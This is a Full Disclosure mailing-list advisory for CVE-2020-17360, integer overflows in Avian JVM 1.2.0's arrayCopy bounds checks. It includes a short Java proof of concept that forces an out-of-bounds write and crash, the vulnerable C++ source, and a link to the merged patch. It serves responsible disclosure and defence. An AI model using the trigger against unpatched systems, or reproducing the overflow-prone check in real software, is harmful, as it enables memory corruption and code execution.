Date: Mon, 10 Aug 2020 21:37:29 +0000
From: Pietro Oliva via Fulldisclosure <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Avian JVM vm::arrayCopy() Multiple Integer Overflows

Vulnerability title: Avian JVM vm::arrayCopy() Multiple Integer Overflows
Author: Pietro Oliva
CVE: CVE-2020-17360
Vendor: ReadyTalk
Product: Avian JVM 
Affected version: 1.2.0

Description:
The issue is located in the vm::arrayCopy method defined in classpath-common.h,
where multiple boundary checks are performed to prevent out-of-bounds memory
read/write. Two of those boundary checks contain an integer overflow which leads
to those same checks being bypassed and out-of-bounds read/write.   

Impact:
Attackers could exploit this vulnerability to read/write arbitrary content in
the JVM memory. This could in turn result in denial of service, memory 
disclosure, or arbitrary code execution in the context of the JVM.

Exploitation:
The following PoC would trigger an out-of-bounds write and crash of Avian JVM:

import java.lang.*;

public class poc {

    public static void main(String[] args) {
        byte[] src = "This is src".getBytes();
        byte[] dst = "This is dst".getBytes();

	// Triggering out-of-bounds write via integer overflow on System.arraycopy
	System.arraycopy(src, 0, dst, 0x7fffffff, 1);
    }
}


Evidence:

void arrayCopy(Thread* t,
               object src,
               int32_t srcOffset,
               object dst,
               int32_t dstOffset,
               int32_t length)
{
  if (LIKELY(src and dst)) {
    if (LIKELY(compatibleArrayTypes(
            t, objectClass(t, src), objectClass(t, dst)))) {
      unsigned elementSize = objectClass(t, src)->arrayElementSize();

      if (LIKELY(elementSize)) {
        intptr_t sl = fieldAtOffset<uintptr_t>(src, BytesPerWord);
        intptr_t dl = fieldAtOffset<uintptr_t>(dst, BytesPerWord);
        if (LIKELY(length > 0)) {
          if (LIKELY(srcOffset >= 0 and srcOffset + length <= sl // integer OF
/*integer overflow*/ and dstOffset >= 0 and dstOffset + length <= dl)) {
            uint8_t* sbody = &fieldAtOffset<uint8_t>(src, ArrayBody);
            uint8_t* dbody = &fieldAtOffset<uint8_t>(dst, ArrayBody);
            if (src == dst) {
              memmove(dbody + (dstOffset * elementSize),
                      sbody + (srcOffset * elementSize),
                      length * elementSize);
            } else {
              memcpy(dbody + (dstOffset * elementSize),
                     sbody + (srcOffset * elementSize),
                     length * elementSize);
            }

            if (objectClass(t, dst)->objectMask()) {
              mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length);
            }

            return;
          } else {
            throwNew(t, GcIndexOutOfBoundsException::Type);
          }
        } else {
          return;
        }
      }
    }
  } else {
    throwNew(t, GcNullPointerException::Type);
    return;
  }

  throwNew(t, GcArrayStoreException::Type);
}

As can be seen in the two lines commented above, offset+length can overflow and
the size checks would be bypassed. Overflowing srcOffset+length would trigger an
out-of-bounds read in either memmove or memcpy, while overflowing dstOffset + 
length would trigger an out-of-bounds write in the same methods.

Mitigating factors:
Since both offsets and length need to be positive integers, there is a limited
range of memory where an attacker could read or write as a result of this
vulnerability.

Remediation:
A patch has been merged in the master branch:
https://github.com/ReadyTalk/avian/pull/571

Disclosure timeline:
3rd August 2020  -  Vulnerability reported.
3rd August 2020  -  Vulnerability acknowledged.
4th August 2020  -  CVE request sent to Mitre.
5th August 2020  -  CVE assigned.
10th August 2020 -  Proposed patch via pull request.
10th August 2020 -  Patch approved and merged after changes.
10th August 2020 -  Vulnerability details shared on fulldisclosure.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists